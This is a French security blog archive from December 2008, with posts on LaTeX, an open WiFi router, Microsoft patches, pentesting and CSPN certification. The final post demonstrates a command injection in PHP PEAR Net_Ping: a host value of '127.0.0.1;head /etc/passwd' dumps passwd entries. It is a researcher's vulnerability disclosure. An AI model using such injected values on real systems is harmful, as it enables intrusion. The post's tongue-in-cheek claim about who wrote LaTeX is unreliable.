mardi 23 décembre 2008

La Haine

Je comprends pourquoi Latex est principalement utilisé dans le domaine de la publication scientifique. C'est un outil totalement autiste et NON collaboratif, qui permet aux chercheurs de conserver un contrôle total sur l'information. A contrario, dans le monde de l'entreprise où l'échange de documents et le partage d'informations est une nécessité, Latex s'avère être un outil totalement inadapté.

Par exemple je rédige un rapport à plusieurs avec des collègues. Le client veut évidemment un document Word - un utilisateur non-geek (soit 99,999% de la population) étant totalement incapable d'apprendre le langage de programmation Latex et de recompiler un document, si toutefois il doit le modifier (ex. gestion documentaire) ou réutiliser une partie du contenu dans une présentation. Mais l'un des participants fait son malin et m'envoie un document Latex, rédigé sous Debian.

J'ouvre le fichier PDF avec Acrobat Reader pour le copier/coller dans Word. Echec (ou plus exactement \'echec, car Acrobat Reader semble avoir un problème avec les accents).

J'utilise Acrobat Pro qui dispose des options "Enregistrer sous ..." dans les formats DOC, HTML, TXT et d'autres. Echec également (toujours ce problème d'accents).

J'ouvre le fichier source. Echec (ou plus exactement échec, si vous voyez ce que je veux dire ...).

J'utilise Tex2Word. Echec, bien sûr. Le document utilise beaucoup trop de packages exotiques.

Finalement la seule solution sera d'utiliser un éditeur de texte compatible UTF-8, de copier/coller le source, puis de supprimer la mise en forme à l'aide de la fonction rechercher/remplacer.

Ensuite une passe de correction des typos s'impose. Je ne parle pas de la grammaire, car c'est un exercice difficile, mais bien des typos idiotes comme "scna" au lieu de "scan"). Et bien que les fanboys de Latex me parlent d'Aspell, il faut bien admettre que je n'ai jamais vu personne l'utiliser (ou alors ce logiciel est vraiment très mauvais).

Bien entendu, il sera totalement impossible de récupérer les graphiques PGF/TIKZ. Aucun autre outil au monde n'est capable de comprendre ce langage de description graphique.

Et voilà comment Latex tue la productivité et la collaboration. Mais cela aurait pu être pire car je n'ai pas eu besoin de recompiler le document. Or recompiler un document ailleurs que sur la machine d'origine est une tâche impossible, pour tout un tas de raisons comme les dépendances de packages, les jeux de caractères, etc. Faites le test sous Debian, Cygwin, OpenBSD puis OpenSolaris. Le simple problème de l'encodage du fichier texte est rédhibitoire.

Heureusement l'auteur initial du document a généré un code Latex relativement correct. Car le problème dans toutes les sectes, ce sont les adeptes de rang inférieur qui adhèrent au credo de la secte sans en comprendre les fondements. Dans cette population, on trouve les utilisateurs de Lyx ou TeXnicCenter par exemple. Ce dernier offrant plus de 2 Go de packages optionnels à installer, et la possibilité de sauvegarder dans la page de code Windows-1252, il est quasiment certain que le résultat produit ne sera pas réutilisable ailleurs.

Et croyez moi, un utilisateur qui dispose de tous les plugins Firefox, tous les Widgets Vista et tous les plugins GKrellM va installer tous les packages TeXnicCenter ...

Il n'est pas besoin de chercher très loin l'explication à cet état de fait. L'auteur de Latex étant salarié de Microsoft Research, on peut suspecter que Latex n'est qu'un projet destiné à tuer la crédibilité de toute alternative à Microsoft Office ... quoiqu'on m'a dit beaucoup de bien de Google Docs :)

vendredi 19 décembre 2008

WiFi Security Fail

Je cherchais du WiFi tandis que ma femme faisait du shopping dans Paris ... et là, c'est le drame.



A priori un routeur Linksys sans clé WEP ni WPA ... et un mot de passe par défaut sur l'interface d'administration ... Si son propriétaire ne s'est pas rendu compte du changement de SSID, c'est probablement qu'il ne sait même pas que son routeur a une fonction WiFi !

Voilà au moins quelqu'un qui n'aura pas de mal à prouver qu'il s'est fait piraté son WiFi, lorsque le décret d'application de la loi HADOPI sera publié !

Au passage, j'en ai profité pour essayer la géolocalisation par BSSID. Ca marche redoutablement bien à Paris (sauf sur cet exemple). Par contre ils n'ont pas les points d'accès 802.11a dans leur base de données :) 

dimanche 14 décembre 2008

Où va la sécurité ?

L'initiative sécurité de Microsoft est-elle un échec ?

Il n'a échappé à personne [sid][hdm] que le Patch Tuesday a été particulièrement prolifique ce mois-ci.

Par ailleurs, de nouvelles failles non corrigées sont exploitées "dans la nature" [Wordpad][IE] et [MS-SQL, dont je n'ai pas trouvé trace ailleurs] dès le lendemain - une technique qui vise à maximiser la surface d'exposition des cibles.

Est-ce donc un échec du SDL ? Les Mécapoulets sont-ils grillés ?

Il est très difficile de répondre à cette question car le "marché" des vulnérabilités se brouille de plus en plus.
  • Il est évident que le code dit "hérité" (c'est-à-dire le code écrit par des développeurs partis à la retraite avec leurs stock-options) est beaucoup plus difficile à corriger et à maintenir. La majorité des failles trouvées ces dernières années affectent des parsers dans des applications clientes "lourdes" et de conception ancienne (Office, Internet Explorer, Windows Media, etc.). Ce type de code est un puit sans fond pour la recherche de failles, que ce soit par analyse statique, ou par fuzzing. Il n'y a qu'à tenter de lire les spécifications du format Office pour se rendre compte de l'impossibilité d'écrire un parser correct.
  • Microsoft a tout intérêt à produire de "gros" patches, car celà minimise le downtime dû au reboot pour les clients, mais également le nombre de bulletins publiés chaque année (une métrique absurde s'il en est, pourtant largement employée car facilement accessible). Ce qui explique peut-être la lenteur avec laquelle certaines failles sont patchées.
  • La criticité des failles est également discutable. Par exemple l'une des failles patchées par MS08-073 n'est exploitable que sur Internet Explorer 5.01 ...
A ce sujet, et sans rentrer dans les détails techniques, seuls 2 patches me semblent réellement intéressants ce mois-ci : MS08-076 et MS08-077. En effet, tous les autres sont des corruptions mémoire sans innovation technique.

MS08-076 est une faille probablement détectée en interne chez Microsoft (aucun crédit n'étant donné), qui transpose l'attaque par réflexion de crédences aux codecs Windows Media. La deuxième faille concerne la fuite d'authentifiants NTLM via le protocole ISATAP (un mécanisme de transition IPv6). Pas le genre de technologies qui suscitent beaucoup d'intérêt chez les bugs hunters, et pourtant des failles qui ne nécessitent pas une ligne d'assembleur à exploiter, donc beaucoup plus fiables que la moyenne, et totalement indétectables par les outils de sécurité déployés aujourd'hui en entreprise.

C'est à se demander si les chercheurs de failles veulent réellement exploiter leurs découvertes, ou juste gagner de l'argent et/ou du crédit avec.

MS08-077 est une faille de contournement du contrôle d'accès dans le portail SharePoint 2007. Tous ceux qui ont déjà touché de près ou de loin à cette plateforme apprécieront à sa juste valeur la complexité d'une telle découverte.

MS08-067

Ce Patch Tuesday de décembre ne bouleverse finalement pas le paysage en matière de sécurité : des failles côté client, des patches à passer, des redémarrages planifiés, des codes d'exploitation laissés aux tâcherons de l'underground, dans des pays où le développement d'un outil d'exploitation complet coûte $50/mois.

La faille la plus significative de cette année 2008 reste à mon sens MS08-067. Une faille exploitable à distance sans authentification, et nous voilà revenus 4 ans en arrière au temps de Blaster et Sasser.

La seule chose qui a empêché le crash de l'Internet mondial, ce sont les filtrages et/ou la NAT déployée par les FAI depuis. Mais dans les entreprises, l'atterrissage a été douloureux. Le patch n'a pas été identifié comme suffisamment critique pour arrêter la production. Les antivirus, tout comme les soi-disantes solutions de "0day protection", n'avaient pas les bonnes signatures (sic). Les portables et les clés USB continuent d'entrer et sortir du réseau local sans contrôle. Et là, c'est le drame. Heureusement que les payloads embarqués dans les vers actuels, tels que Win32/Conficker, se contentent d'actions insignifiantes telles que voler des authentifiants pour WoW !

Je n'ai évidemment aucune information sur le sujet, mais lorsque l'armée américaine prétend être victime d'une attaque extrêment complexe, provenant des services russes, et l'obligeant à interdire l'usage des clés USB sur ses réseaux, je crains qu'il ne s'agisse que d'un ver très banal mais redoutable sur un réseau qui n'a jamais été exposé au feu d'Internet ...

Le test d'intrusion est-il mort ?

Dans le même ordre idée, l'article "Penetration Testing: Dead in 2009" m'a encore beaucoup navré.

D'abord, parce que le test de pénétration régulier fait partie intégrante de presque toutes les "normes" en sécurité (PCI/DSS, ISO 2700x, et autres), et que ces normes ne vont pas disparaitre en 2009.

Mais surtout parce que l'article est en fait une interview de la société Fortify, spécialisée dans l'audit de code source. Et même en supposant que leur outil soit parfait, qu'il soit utilisé dans tous les produits d'ici fin 2008, et que tous les utilisateurs mettent à jour en 2009 avec les produits corrigés, il faudra bien alors admettre que le (bon) test d'intrusion n'a rien à voir avec l'exploitation de failles d'implémentation ...

Les failles d'implémentation connues:
  • Sont facilement détectables par les scanners de vulnérabilités ;
  • Peuvent être corrigées rapidement par les patches de l'éditeur ;
  • Ne marchent pas dans la vraie vie (Windows 2008 64-bit anyone ?).
Quant au cas des failles inconnues (souvent appelées "0day"), leur cas est vite évacué car trop peu d'auditeurs en disposent, et l'effort de développement sur les plateformes modernes est trop important dans le cadre d'audits réguliers ou d'audits de conformité. Les tests "free for all", seuls applications possibles de ces failles, sont très rares puisque la plupart des entreprises ne passent déjà pas les cas simples.

Le cas PHP est bien entendu à part, puisque le coût d'une faille include est souvent marginal :)

Il est beaucoup plus intéressant dans le cadre d'un test d'intrusion d'identifier des problèmes simples (ex. compte sans mot de passe), susceptibles d'être exploités par des codes automatiques ou des employés malveillants. Ou encore des failles de conception, qui nécessitent de remettre à plat une architecture réseau ou un produit.

Si vous arrivez à persuader un service informatique qu'il est absolument nécessaire d'activer la signature SMB pour contrer les attaques en réflexion de crédences, le test a servi à quelquechose. Sinon, le client restera vulnérable à une faille de conception des protocoles LM et NTLM qui garantit le "succès" de tout test de pénétration ultérieur (sauf si l'auditeur est mauvais, ce qui peut être une conclusion intéressante).

Quel modèle de marché pour les failles ?

Dans ces conditions, la recherche de failles apparait plus comme une activité intellectuelle et ludique que comme la seule et unique source d'intrusion en 2009.

Les américains, prompts à quantifier et à titriser, tentent depuis longtemps d'assigner une valeur monétaire aux "0day" pour imaginer dompter la bête (voir à ce sujet le débat lancé sur la liste Daily Dave -  il est vrai que la société Immunity ne tarit pas d'éloges sur les vertus du "0day") .

Compte-tenu du fait que la loi du marché à tout prix a provoqué la crise mondiale que l'on sait, j'ai du mal à voir comme un marché du "0day" va stimuler la sécurité informatique du côté défensif ... D'autant que les pratiques dans le domaine ne sont déjà plus très étiques, et que les pirates résidant en dehors du "monde libre" sont peu susceptibles de vendre à des américains.

D'autres chercheurs de failles (européens: [WSLabi][Vupen]) se tournent vers les vendeurs d'IDS/IPS : "achetez tel produit car c'est le seul à vous protéger contre la dernière faille dans Internet Explorer, dont seuls les chinois disposent !". Tant d'années au service de la sensibilisation des utilisateurs et des bonnes pratiques pour entendre ça ... c'est triste. Si personne ne surfait sous le compte "administrateur", on en serait pas là. Heureusement que d'autres prédisent la mort des IDS/IPS en 2009 :)

D'ailleurs Snort s'oriente vers la fonction de "Passive Vulnerability Scanner" plutôt que vers la détection hardcore, vouée à l'échec.

Voilà, c'est tout pour aujourd'hui. Si vous en voulez plus, il faudra voter pour ma soumission à SSTIC. Ah non je dois confondre avec BlackHat, le processus de sélection des soumissions à SSTIC reste totalement obscur pour moi :)

lundi 8 décembre 2008

Mise à jour du troll Latex

Quand on voit ceci, peut-on réellement croire "qu'au moins, Latex est l'outil respectant le plus les règles typographiques et la mise en page des documents" ?


(Source: newsletter n°48 du CERTA. Oui j'aime bien lire les newsletters :)

mercredi 3 décembre 2008

Ceci n'est pas du sport ...

... mais ça pourrait le devenir.

Et oui, pour les béotiens qui confondent Evaluation et Certification, sachez que ESPN est un site sportif de premier plan, tandis que CSPN est une nouvelle initiative du gouvernement français.

Qu'ils soient pardonnés, car il n'est pas facile de s’y retrouver dans la profusion d'annonces autour de la "sécurité" (telles que la plateforme Internet Signalement ou les gesticulations autour de la loi HADOPI).

L’objectif de la Certification Sécurité de Premier Niveau est louable : il s’agit de vérifier que des fonctions de sécurité essentielles sont assurées par un produit d’usage courant, en temps et en budget contraint – d’aucun parlerait de certification "agile", par opposition aux évaluations de type Critères Communs. Ces dernières ne sont praticables que sur des systèmes très contraints, toute autre tentative étant vouée à l’échec.

Bien entendu, on peut débattre à l’envi des conditions dans lesquelles cette certification a été mise en œuvre. Par exemple tous les CESTI sont automatiquement devenus évaluateurs potentiels pour la CSPN. On conçoit mal qu’un laboratoire capable de délivrer une certification EAL4 à un VPN ne puisse pas vérifier la solidité du chiffrement de WinZip. Mais on imagine quand même que le processus de certification Critères Communs, impliquant une forte coopération de l’éditeur, est assez différent d’une évaluation de 20 jours parfois sans accès au code source.

Les premiers résultats de cette certification étant tombés, on peut également être surpris par le choix des produits certifiés : Trango Hypervisor, Blancco Data Cleaner, et TrueCrypt. Si le choix de ce dernier est assez logique, les deux premiers sont quasi-inconnus et bénéficient d’une publicité d’enfer via un site institutionnel, qu'ils ne se privent pas d'exploiter - le tout pour une somme assez modique (20 jours de consultant). Trango venant d'être racheté par VMWare, et Blancco étant une société Finlandaise, on ne voit pas trop l'intérêt pour la DCSSI de s'engager dans cette voie.

Parmi les détails amusants, on notera la référence à FrSIRT (page 16) comme portail de référence (son propriétaire n’ayant pourtant pas toujours été en odeur de sainteté dans les sphères gouvernementales) – et on notera aussi que Sogeti n’a pas rendu son rapport définitif. C’est probablement comme le SSTIC – il y a du rab’ pour ceux qui galèrent avec Latex :)

Bien entendu, le challenge consiste maintenant à mettre en défaut la certification d’un produit, malgré l’avertissement chapeau assez explicite :
"La certification ne constitue pas en soi une recommandation du produit par la Direction centrale de la sécurité des systèmes d’information (DCSSI), et ne garantit pas que le produit certifié soit totalement exempt de vulnérabilités exploitables."

Dans la pratique, ça n’est pas aussi simple : les rapports des produits certifiés font déjà état de failles avérées dans certaines configurations. Par exemple le produit d’effacement sécurisé ne sait pas accéder à la zone HPA sur les disques IDE, alors qu’il y parvient sur les disques SATA !

Tout comme pour les critères communs, la certification obtenue doit être replacée dans le contexte de la cible de sécurité. Dans ces conditions, la probabilité de trouver une faille qui aurait échappée au certificateur est beaucoup plus faible.

Et les produits qui échouent lamentablement à passer la certification n'apparaissent nulle part - tout est bien qui finit bien, donc :)

Passons maintenant au jeu de la newsletter, à l’aide du script Python suivant :

fp = open("newsletter52.txt", "ra")
all = fp.readlines()
fp.close()

count = 0
for l in all:
words = l.split(" ")
for w in words:
if ((len(w) == 5) and (w.startswith("270"))):
count = count + 1

print "Score: %d" % count
Verdict: 44. On atteint le high score, mais sans le dépasser !

Vous noterez au passage le laconique :

- Outil : Nouvelle version de l'outil de tunnel sur DNS, dns2tcp v0.4.3.
http://www.hsc.fr/ressources/outils/dns2tcp/index.html.fr

En vérité, il s’avère que les versions 0.4.0, 0.4.1 et 0.4.2 étaient toutes vulnérables à des failles de sécurité, ce que n’indique pas vraiment le site de l’éditeur.

Le scénario est assez classique dans le monde de la sécurité : tout le monde se dit "c’est du sérieux, on peut avoir confiance" ou "quelqu’un a sûrement regardé, puisque c’est Open Source" (sic).

Puis un jour, survient l’integer overflow – et là, c’est le drame. Car cela signifie que ni le développeur, ni sa toolchain n’a connaissance de cette classe d’attaque. Et les bogues n’ont pas manqué de s’enchainer rapidement par la suite.

Il faut dire que le co-auteur de cet outil a été sévèrement châtié : il est désormais assigné à la formation "Développement sécurisé en PHP par la pratique". Personne n’a mérité ça, pas même les mainteneurs Debian.

En parlant de PHP, voici un exemple de code PEAR :

$ cat lol.php

require ("Net/Ping.php");
$count=1;
$host='127.0.0.1';
$ping = Net_Ping::factory();
$ping->setArgs(array('size' => 1, 'count' => $count));
$response = $ping->ping($host);
echo join("\r\n", $response->getRawData());
?>

$ php5 -f lol.php
PING 127.0.0.1 (127.0.0.1) 1(29) bytes of data.
9 bytes from 127.0.0.1: icmp_seq=1 ttl=64

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

Et voici ce qu'il m'a fallu 5 minutes pour trouver lors d'un audit quelconque:

$ cat lol.php

require ("Net/Ping.php");
$count=1;
$host='127.0.0.1;head /etc/passwd';
$ping = Net_Ping::factory();
$ping->setArgs(array('size' => 1, 'count' => $count));
$response = $ping->ping($host);
echo join("\r\n", $response->getRawData());
?>

$ php5 -f lol.php
PING 127.0.0.1 (127.0.0.1) 1(29) bytes of data.
9 bytes from 127.0.0.1: icmp_seq=1 ttl=64

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

Même dans la Livebox, on ne trouve plus ce genre de faille !


« Depuis que PHP a été inventé, je n’ai plus besoin de remplir mes rapports avec ‘le routeur a répondu à ICMP Timestamp’ ou ‘le serveur autorise la méthode non sécurisée TRACE’ » -- various pentesters.